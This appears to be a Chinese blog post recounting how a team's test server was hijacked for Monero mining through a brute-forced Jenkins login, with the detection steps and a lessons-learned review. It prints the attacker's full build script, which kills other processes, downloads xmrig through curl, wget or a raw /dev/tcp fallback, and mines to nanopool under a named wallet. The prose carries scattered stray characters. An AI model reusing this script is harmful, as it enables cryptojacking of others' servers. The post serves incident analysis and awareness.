以此篇Blog紀(jì)念服務(wù)器第一次被hack递鹉,加強(qiáng)安全意識(shí)(不過(guò)整個(gè)排查過(guò)程挺好玩的).
經(jīng)過(guò)
Nov 18, 2019 1:03:00 PM盟步,team的服務(wù)器被歹人劫持并在其命令下淪為了一臺(tái)被沒(méi)日沒(méi)夜壓榨的辛苦礦工,在我與Jerry的共同努力下順著線索層層排查躏结,終于找到了礦工所在地却盘,并成功營(yíng)救出礦工。以下為詳細(xì)偵查經(jīng)過(guò)媳拴。
2019年11月18日下午3點(diǎn)左右黄橘,資深工程師Jerry在使用服務(wù)器時(shí)猛然發(fā)覺(jué)異樣,于是使用top指令查看發(fā)現(xiàn)CPU使用率居然維持在驚人的791.4%屈溉,并指出這是一個(gè)id為2220的線程使用的塞关,而該線程明顯不是我們自己?jiǎn)?dòng)的
于是馬上通知了我這一異樣,在排除掉小數(shù)點(diǎn)顯示錯(cuò)位這一可能性后语婴,開(kāi)始詳細(xì)排查原因描孟。
首先使用htop查看線程具體信息與啟動(dòng)指令,圖片如下砰左。該命令明顯不像用戶通過(guò)終端啟動(dòng)的匿醒,但由于啟動(dòng)命令的路徑為相對(duì)路徑,相對(duì)路徑名稱(chēng)./trace明顯不是一個(gè)程序缠导,因此進(jìn)一步的
使用ll /proc/PID
指令查看啟動(dòng)命令的絕對(duì)路徑信息:
此處看到了一個(gè)我們熟悉的關(guān)鍵詞廉羔,Jenkins,于是登錄Jenkins發(fā)現(xiàn)里面被人創(chuàng)建了一個(gè)名為Updating的workspace僻造,且其一直處于build狀態(tài).
打開(kāi)配置文件憋他,在build腳本中,我們找到了其究竟對(duì)服務(wù)器做了什么(后續(xù)分析)
此時(shí)只需要禁用該workspace髓削,并關(guān)閉已啟動(dòng)的進(jìn)程即可竹挡,服務(wù)器就此恢復(fù)正常。
分析
回頭復(fù)盤(pán)一下發(fā)現(xiàn)立膛,整個(gè)安全事件的根本原因在于Jenkins的沒(méi)有設(shè)置密碼驗(yàn)證機(jī)制揪罕,密碼輸入錯(cuò)誤后可以馬上無(wú)間斷的再次輸入梯码,且沒(méi)有輸入次數(shù)限制,該安全隱患在安裝Jenkins之處的時(shí)候就已經(jīng)發(fā)現(xiàn)了好啰,但是當(dāng)時(shí)沒(méi)有處理轩娶,因此給hacker暴力破解提供了可能性,剩下的就簡(jiǎn)單多了框往,hacker暴力破解后鳄抒,創(chuàng)建了一個(gè)workspace,并編寫(xiě)build腳本椰弊,并在服務(wù)器上安裝挖礦程序许溅,然后推出。比較可惜的是男应,挖礦程序只執(zhí)行了不到4小時(shí)就被關(guān)停了闹司。
更進(jìn)一步的我想通過(guò)Jenkins的腳本想嘗試追蹤一下這個(gè)hacker的信息,但發(fā)現(xiàn)難度很大沐飘,在腳本中還有兩個(gè)有用的線索:
- https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz
- --user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c
前者是挖礦工具的github地址游桩,是一個(gè)公共工具,倉(cāng)庫(kù)所有者不可能是hacker耐朴,
至于第二條信息借卧,一個(gè)標(biāo)準(zhǔn)的區(qū)塊鏈賬號(hào),而區(qū)塊鏈賬號(hào)的特征之一就是匿名筛峭,無(wú)法通過(guò)賬號(hào)鎖定賬號(hào)持有者铐刘,所以幾乎沒(méi)有查找到所有人的可能性侨嘀。
下一步準(zhǔn)備看一下Jenkins的登錄日志是有有IP信息九榔,但也不抱有特別大的希望,這里就把hacker的區(qū)塊鏈賬號(hào)明文貼出來(lái)不打碼了~~
完整腳本如下:
#!/bin/bash
if [[ $(whoami) != "root" ]]; then
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
kill -9 $tr || : ;
done;
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
_curl () {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
rm -rf config.json;
d () {
curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
}
test ! -s trace && \
d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
tar -zxvf trace.tgz && \
mv xmrig-5.0.0/xmrig trace && \
rm -rf xmrig-5.0.0 && \
rm -rf trace.tgz;
test ! -x trace && chmod +x trace;
k() {
./trace \
-r 2 \
-R 2 \
--keepalive \
--no-color \
--donate-level 1 \
--max-cpu-usage 80 \
--cpu-priority 3 \
--print-time 25 \
--threads ${threadCount:-4} \
--url $1 \
--user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
--pass x \
--coin xmr \
--keepalive
}
k xmr-eu1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444
后記
在被hack之后在網(wǎng)上也找到了不少其他的類(lèi)似的案例旺入,Win和linux系統(tǒng)都有挂签,hack的渠道也多種多樣疤祭,還是要對(duì)hacker的技術(shù)涉獵面表示一下佩服。
準(zhǔn)確講這并不算一個(gè)病毒饵婆,只是別人利用密碼驗(yàn)證機(jī)制的漏洞勺馆,通過(guò)Jenkins在服務(wù)器上部署了一個(gè)占用資源非常龐大的應(yīng)用程序,客觀的說(shuō)這個(gè)應(yīng)用程序?qū)ο到y(tǒng)也是無(wú)害的侨核,但從安全角度上講草穆,kacker是有能力通過(guò)這一漏洞對(duì)系統(tǒng)進(jìn)行破壞的,所幸的是這是一個(gè)測(cè)試服務(wù)器搓译,不會(huì)帶來(lái)直接的經(jīng)濟(jì)損失悲柱,但此處被hack的經(jīng)歷,確實(shí)暴漏出我對(duì)服務(wù)器安全的不重視些己,算是一次沒(méi)有“花錢(qián)”買(mǎi)的教訓(xùn)诗祸。